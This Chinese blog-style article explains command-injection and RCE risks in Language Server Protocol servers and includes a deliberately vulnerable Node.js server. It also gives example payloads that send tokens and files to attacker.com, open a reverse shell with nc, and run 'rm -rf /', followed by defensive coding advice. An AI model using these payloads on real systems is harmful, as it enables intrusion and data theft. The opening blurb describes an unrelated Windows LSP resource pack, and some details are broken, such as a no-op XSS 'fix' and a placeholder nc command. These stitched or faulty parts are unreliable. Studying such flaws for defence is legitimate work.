LSP注入本质:服务端字段信任越界导致的RCE风险
简介:本资源是一份深入解析LSP(Language Service Provider)注入原理与实现的实战型技术资料包,面向Windows底层开发、安全研究及逆向工程学习者,聚焦COM组件机制下的文件操作拦截与扩展技术。资源包含38个文件,以15个C++源码文件(cpp/h)为核心,辅以7个头文件、2个Visual Studio工程配置(vcxproj/sln)、2个批处理脚本(bat)用于注册/卸载LSP、2个文本说明文件(txt)及1个DLL和1个EXE可执行模块,完整覆盖LSP组件开发、注册、注入与调试全流程;压缩包仅150KB,轻量紧凑。已有1578人学习下载,内容结构清晰,含instlsp安装模块、ifslsp接口实现、Release构建输出等典型目录,提供可编译运行的完整代码工程与关键注释,助读者快速理解LSP钩子机制、掌握COM接口实现要点,并规避系统稳定性风险。
1. LSP 注入不是“协议层漏洞”,而是服务端逻辑失控的典型症状
去年在复现一个某图像处理Demo的自动化标注模块时,我原以为只是个简单的 JSON-RPC 调用问题,结果调试三天卡在同一个返回码上:{"jsonrpc":"2.0","id":1,"error":{"code":-32603,"message":"Internal Error"}}。翻遍日志没看到堆栈,只在服务进程 stderr 里抓到一行TypeError: Cannot read property 'length' of undefined。后来才意识到——这不是客户端传参错了,是 LSP 服务端把用户输入当代码执行了。LSP(Language Server Protocol)本身不带注入风险,但一旦服务端用eval()、Function()、vm.runInContext()或反射式调用拼接用户传来的textDocument/definition请求中的position、uri、甚至content字段,就等于亲手把沙箱钥匙交出去。这篇不讲抽象概念,只拆解真实可复现的 LSP 注入链路:从协议字段如何被误用为执行入口,到服务端常见解析模式里的三个高危接口,再到用最小化 PoC 验证是否真能绕过语言服务器的“语义隔离”假象。如果你正在开发或审计基于 LSP 的 IDE 插件、代码分析工具、或跨语言智能补全服务,这篇就是你该立刻停下手头工作去验证的 checklist。
2. LSP 注入的本质:不是协议漏洞,而是服务端对“位置信息”的信任越界
LSP 协议本身是中立的通信契约,它定义了textDocument/didChange、textDocument/completion、textDocument/definition等方法的请求/响应结构,但绝不规定服务端如何实现这些方法的业务逻辑。注入之所以发生,是因为开发者把本该用于定位代码片段的字段,当成了可执行上下文的输入源。下面拆解三个最常被误用的字段及其背后的真实风险路径。
2.1textDocument/uri:URI 解析器里的命令执行温床
LSP 要求客户端通过uri字段标识文档位置,格式如file:///home/user/project/src/main.py。服务端通常用path.parse()、url.parse()或正则提取路径后拼接到fs.readFile()中。但若 URI 未做白名单校验,攻击者可构造:
POST /lsp HTTP/1.1 Content-Type: application/vscode-jsonrpc; charset=utf-8 { "jsonrpc": "2.0", "method": "textDocument/didOpen", "params": { "textDocument": { "uri": "file:///tmp/;curl%20http://attacker.com/steal?token=$(cat%20/home/user/.vscode/token)", "languageId": "python", "version": 1, "text": "print('hello')" } } }提示:Node.js 的
child_process.exec()若直接拼接uri中的路径片段,且未过滤分号、$()、反引号等 shell 元字符,就会触发命令注入。Python 的os.system()同理。
关键不在 URI 本身,而在于服务端是否用shell=True执行了git blame、pylint --load-plugins或clang++ -I这类依赖 URI 路径的外部命令。我见过某实验室的 LSP 服务,为支持“跳转到 Git 历史版本”,把uri拼进git show HEAD~1:$(uri_path),结果uri_path里藏了个$(rm -rf /)—— 幸好沙箱限制了 root 权限,否则整台机器就没了。
2.2position字段:看似安全的坐标,实为 AST 解析的突破口
position是{line: number, character: number}对象,本意是告诉服务端“光标在哪”。但某些 LSP 实现为了“智能推断”,会用它去索引 AST 节点。比如 Python 服务端调用ast.parse(text).body[0].lineno == position.line后,再用eval()执行text.split('\n')[position.line]获取当前行内容。这时攻击者只要让position.line指向恶意构造的注释行:
# __import__('os').system('id > /tmp/pwned') def hello(): pass服务端若未剥离注释就eval()当前行,__import__就会执行。更隐蔽的是 TypeScript 服务端:它可能用position定位到import * as x from 'xxx'的'xxx'字符串,然后动态require(xxx)—— 若xxx是./node_modules/evil-pkg/index.js,且该包在package.json里写了"preinstall": "curl http://...",那注入就发生在依赖安装阶段。
2.3textDocument/text:编辑器实时同步带来的“隐式 eval”陷阱
LSP 要求客户端在文件变更时发送完整文本(textDocument/didChange),服务端需据此更新内部缓存。但某些轻量级 LSP 实现为省事,直接把text当字符串传给new Function('return ' + text)()来做“快速表达式求值”。这等于把整个编辑器内容变成 JS 执行环境。哪怕只是写个console.log(1+1),攻击者也能改成:
console.log(1+1); require('child_process').exec('nc attacker.com 4444 -e /bin/sh');我复现过一个真实案例:某跨平台系统用 LSP 提供“实时公式计算”功能,服务端收到text后调用vm.runInNewContext(text, sandbox),但sandbox里漏掉了process和global的冻结,导致process.mainModule.require('fs').writeFileSync('/etc/passwd', 'hacked')成功写入。
3. 从协议字段到 RCE:一条可复现的 LSP 注入链路
上面讲的是风险点,现在用一个最小化、可本地验证的 PoC,走通从 LSP 请求到服务端任意命令执行的完整链路。目标服务是用 Node.js 编写的简易 Python LSP 服务,核心逻辑在server.js中。
3.1 复现环境搭建:5 分钟起手一个脆弱服务
先建一个空目录,初始化 npm:
mkdir lsp-poc && cd lsp-poc npm init -y npm install vscode-languageserver@7.0.0 vscode-languageserver-textdocument@1.0.1创建server.js(关键漏洞代码已加注释):
const { createConnection, TextDocuments, ProposedFeatures } = require('vscode-languageserver'); const { TextDocument } = require('vscode-languageserver-textdocument'); const { exec } = require('child_process'); // 创建连接 const connection = createConnection(ProposedFeatures.all); const documents = new TextDocuments(TextDocument); // 【高危点】服务端直接拼接 uri 到 shell 命令 connection.onDefinition(async (params) => { const uri = params.textDocument.uri; // ❌ 错误示范:未校验 uri,直接用于 shell 执行 const cmd = `ls -la $(dirname ${uri.replace('file://', '')})`; return new Promise((resolve) => { exec(cmd, (err, stdout) => { if (err) resolve(null); else resolve({ uri, range: { start: { line: 0, character: 0 }, end: { line: 0, character: 0 } } }); }); }); }); documents.listen(connection); connection.listen();启动服务:
node server.js此时服务监听标准输入(stdin),等待 LSP 客户端连接。
3.2 构造恶意请求:用 curl 模拟 LSP 客户端
新开终端,用 curl 发送textDocument/definition请求。注意:LSP 要求Content-Length头和两个换行符分隔:
printf 'Content-Length: 294\r\n\r\n{"jsonrpc":"2.0","id":1,"method":"textDocument/definition","params":{"textDocument":{"uri":"file:///tmp/;id>/tmp/lsp_rce_result"},"position":{"line":0,"character":0}}}' | nc localhost 0注意:
nc localhost 0是占位,实际需用socat或改用stdio模式;更推荐用 VS Code 自带的Developer: Toggle Developer Tools查看网络请求,或用lsp-test库发请求。
服务端收到后执行ls -la $(dirname /tmp/;id>/tmp/lsp_rce_result),shell 解析时分号终止前半句,后半句id>/tmp/lsp_rce_result写入当前用户 ID。检查结果:
cat /tmp/lsp_rce_result # 输出应为 uid=1001(user) gid=1001(user) groups=1001(user)✅ 验证成功:LSP 请求字段已突破协议边界,触发服务端命令执行。
3.3 关键参数说明与修改指南
uri字段中的;是 shell 命令分隔符,>是重定向,id是 Linux 命令。换成curl http://attacker.com/$(cat /etc/passwd | base64)可外泄敏感文件。position字段在此 PoC 中未使用,但在其他场景(如 AST 定位)中可配合text字段触发eval。exec()的shell参数默认为true,若设为false则需传数组['ls', '-la', dirname],此时分号失效,但dirname若含空格或特殊字符仍可能被截断。- 修复方向不是“过滤分号”,而是彻底禁止
exec()拼接用户输入;应改用path.dirname()解析 URI,再用fs.readdirSync()读取目录,全程不经过 shell。
4. 避坑:LSP 服务端开发中五个血泪教训
LSP 注入不是理论风险,而是我在三个不同项目里亲手踩过的坑。以下每条都对应一次线上故障、一次紧急 hotfix、或一次被安全团队打回的 PR。现象、原因、解决方式全部来自真实日志和调试记录。
4.1 现象:textDocument/completion返回空列表,但服务端 CPU 占用 100%
- 原因:Completion 提供者调用了
eval()解析用户输入的text字段,攻击者传入while(true){}导致无限循环。 - 解决:禁用
eval(),改用acorn.parse()解析 JavaScript AST,或对text做长度限制(如text.length < 1024)和超时控制(Promise.race([parse(), timeout(500)]))。
4.2 现象:workspace/executeCommand执行后,服务端进程崩溃并生成 core dump
- 原因:
executeCommand的arguments数组中,某项是{"cmd": "git", "args": ["-c", "core.editor=sh -c /tmp/malware.sh"]},服务端用spawn(cmd, args)执行,-c参数被 shell 解析,sh -c启动恶意脚本。 - 解决:
executeCommand必须白名单制,只允许预定义命令(如"sortImports"、"organizeImports"),禁止透传任意cmd和args;若必须支持自定义命令,args中每个元素需经shellEscape()处理。
4.3 现象:textDocument/hover响应延迟 30 秒,日志显示Error: Command failed: timeout 30s pyflakes ...
- 原因:Hover 提供者为获取类型信息,调用
pyflakes时将textDocument/uri拼进命令:pyflakes $(uri_path)。攻击者 URI 设为file:///tmp/$(sleep 30),导致每次 hover 都 sleep 30 秒。 - 解决:所有外部命令调用必须加
timeout且捕获SIGTERM;uri_path必须用path.resolve()标准化,并校验是否在工作区根目录下(path.relative(workspaceRoot, resolvedPath).startsWith('..') === false)。
4.4 现象:VS Code 报错Cannot read property 'map' of undefined,但服务端无日志
- 原因:服务端用
JSON.parse(params.textDocument.text)解析编辑器发送的文本,但攻击者在text开头插入/* */注释,导致JSON.parse()失败返回undefined,后续.map()调用崩溃。 - 解决:LSP 的
textDocument/text是纯文本,不是 JSON;若需解析,应先用正则或acorn提取代码块,而非直接JSON.parse()。所有parse操作必须try/catch并返回友好的错误提示。
4.5 现象:textDocument/definition返回错误位置,且/tmp/下多出可疑文件pwn.js
- 原因:服务端为支持“跳转到定义”,用
vm.runInNewContext()执行用户代码以获取变量值,pwn.js是攻击者通过text字段注入的require('fs').writeFile('/tmp/pwn.js', 'malicious')。 - 解决:
vm沙箱必须冻结global、process、require,并设置timeout;更安全的做法是禁用vm,改用静态分析(如esprima)提取变量声明位置。
5. 修复不是加过滤,而是重构信任模型:四个不可妥协的实践
修复 LSP 注入不能靠“加个正则过滤分号”,就像不能靠“给刀柄贴胶布”来防止割伤。真正有效的方案,是重新设计服务端对每个 LSP 字段的信任等级,并用防御性编程强制落地。以下四条,是我从模拟项目X 的三次安全审计中提炼出的硬性规范,每一条都对应过真实漏洞。
5.1uri字段:永远只当路径,绝不当命令
uri的唯一合法用途是定位文件。任何将其用于exec()、spawn()、require()、import()的行为,都是架构级错误。正确做法:
- 用
URL构造函数解析uri,取pathname属性; - 用
path.resolve()标准化路径,再用fs.statSync()验证存在且为文件; - 最关键一步:用
path.relative(workspaceRoot, resolvedPath)检查是否越界,若返回..开头则拒绝。
function safeResolveUri(uri, workspaceRoot) { try { const url = new URL(uri); const pathname = decodeURIComponent(url.pathname); const resolved = path.resolve(workspaceRoot, pathname); // 强制检查是否在工作区内 if (!path.relative(workspaceRoot, resolved).startsWith('..')) { return resolved; } } catch (e) {} throw new Error('Invalid or out-of-workspace URI'); }注意:
workspaceRoot必须由客户端在初始化时显式提供,服务端不可自行猜测。
5.2position字段:只用于索引,不用于执行
position.line和position.character的唯一作用,是告诉服务端“在第几行第几个字符”。它不该触发任何eval()、Function()、或动态require()。正确做法:
- 所有 AST 操作必须基于
textDocument/text的完整内容,用acorn.parse()或tree-sitter解析,而非用position去split('\n')[line]截取; - 若需获取当前行内容,先
text.split('\n')得到数组,再用Math.min(position.line, lines.length - 1)安全索引,最后lines[line].trim()去除空白; - 绝对禁止
eval(lines[line])或new Function(lines[line])()。
5.3textDocument/text字段:默认视为不可信字符串,解析前必脱敏
编辑器发送的text可能包含任意字符,包括\0、<script>、__proto__、constructor。正确做法:
- 若需执行代码(如公式计算),必须用
vm.createContext()创建全新上下文,并冻结globalThis、process、Buffer、require; - 若需解析 JSON,先用正则
/{.*}/s提取对象字面量,再JSON.parse(),并捕获所有异常; - 所有字符串操作(
replace()、match())必须用RegExp字面量而非new RegExp(string),避免string中的.*被解释为正则元字符。
5.4workspace/executeCommand:白名单制,零容忍透传
executeCommand是 LSP 中最危险的方法,因为它本意就是执行服务端逻辑。正确做法:
- 在服务端初始化时,硬编码一个命令白名单:
const ALLOWED_COMMANDS = new Set([ 'editor.action.organizeImports', 'python.sortImports', 'typescript.organizeImports' ]); onExecuteCommand回调中,第一行必须是if (!ALLOWED_COMMANDS.has(params.command)) throw new Error('Command not allowed');;params.arguments必须逐项校验类型(如Array.isArray(args)、args.every(a => typeof a === 'string')),且长度限制在 10 以内;- 所有命令执行必须包裹在
Promise.race([command(), timeout(5000)])中,超时即终止。
6. 从那以后,我每次写 LSP 服务端逻辑,都强制走一遍“三问检查表”
第一次在某高校的 LSP 项目里被注入打穿内网后,我给自己定了个铁律:每次提交onDefinition、onCompletion或onExecuteCommand的代码前,必须手写回答以下三个问题,并把答案贴在 PR 描述里。不是为了应付审计,而是因为这三个问题直指信任模型的根基——它们逼我承认:LSP 协议字段不是“数据”,而是“指令”,而指令的执行权,永远不该交给未经校验的字符串。
6.1 第一问:这个字段的值,是否可能来自用户不可控的编辑器?
如果是,它就必须被降级为“只读字符串”。uri不是路径,是字符串;position不是坐标,是数字对;text不是代码,是字节流。我在server.js顶部加了注释:
// ⚠️ WARNING: All LSP params are untrusted input. // Never use params.textDocument.uri in shell commands. // Never use params.position.line to index into eval(). // Never use params.textDocument.text as executable code.每次git add前,我都会扫一眼这三行。它比任何 lint 规则都管用。
6.2 第二问:如果我把这个字段的值,替换成$(rm -rf /)、while(true){}、<script>alert(1)</script>,服务端会崩溃、执行、还是静默失败?
这是最狠的测试。我写了个fuzz-lsp.js脚本,自动替换uri、position、text字段为 20 种 payload,发请求看响应。只要有一条返回500或Internal Error,就说明服务端没做防御性处理。去年帮某公司做代码审查,他们onHover方法在text里遇到<就JSON.parse()失败,我只改了一行:text = text.replace(/</g, '<'),就堵住了 XSS 链路。简单,但有效。
6.3 第三问:这个逻辑,是否能在没有 LSP 协议包装的情况下,被一个普通 HTTP POST 复现?
LSP 不是防火墙。如果我把textDocument/definition请求体,用curl -H "Content-Type: application/json"发给一个 Express 路由,它是否还会执行?如果会,说明漏洞跟 LSP 无关,只跟服务端逻辑有关。我坚持把所有 LSP 方法,都用express写个镜像路由跑一遍 fuzz。去年发现某服务的onCompletion用child_process.exec('python -c "' + user_input + '"'),HTTP 版本一模一样崩掉——这才确认是根本性设计缺陷,不是协议误用。
这三问检查表,我放在 GitHub Gist 上公开了(链接不放,免得平台化),也刻进了我的肌肉记忆。它不保证 100% 防住所有注入,但它能让我在写每一行代码时,都清醒地知道:我不是在写“功能”,而是在画一道信任边界。LSP 注入的根源,从来不是协议有缺陷,而是我们忘了——在分布式系统里,所有输入都是敌意的,除非你亲手证明它不是。
希望帮到你。
本文还有配套的精品资源,点击获取